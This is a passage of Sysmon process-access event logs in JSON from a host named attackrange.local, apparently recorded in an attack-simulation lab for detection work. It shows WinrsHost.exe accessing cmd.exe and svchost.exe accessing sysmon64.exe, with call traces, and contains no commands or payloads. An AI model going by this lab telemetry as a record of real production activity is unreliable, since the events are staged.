0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\WinrsHost.exe+2c94|C:\\Windows\\system32\\WinrsHost.exe+2eb1|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.165","SourceProcessGUID":"{90617006-415E-5F2D-0000-00105C580700}","SourceProcessId":"4180","SourceThreadId":"3144","SourceImage":"C:\\Windows\\system32\\WinrsHost.exe","TargetProcessGUID":"{90617006-415E-5F2D-0000-00105A5B0700}","TargetProcessId":"4376","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\WinrsHost.exe+2c94|C:\\Windows\\system32\\WinrsHost.exe+2eb1|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4828,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.165\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-415E-5F2D-0000-00105A5B0700}\r\nTargetProcessId: 4376\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.165","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-415E-5F2D-0000-00105A5B0700}","TargetProcessId":"4376","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4829,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.165\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.165","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4830,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.165\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.165","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4831,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.165\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.165","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4832,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.165\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.165","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4833,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.165\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.165","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4834,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.165\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.165","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4835,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.165\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 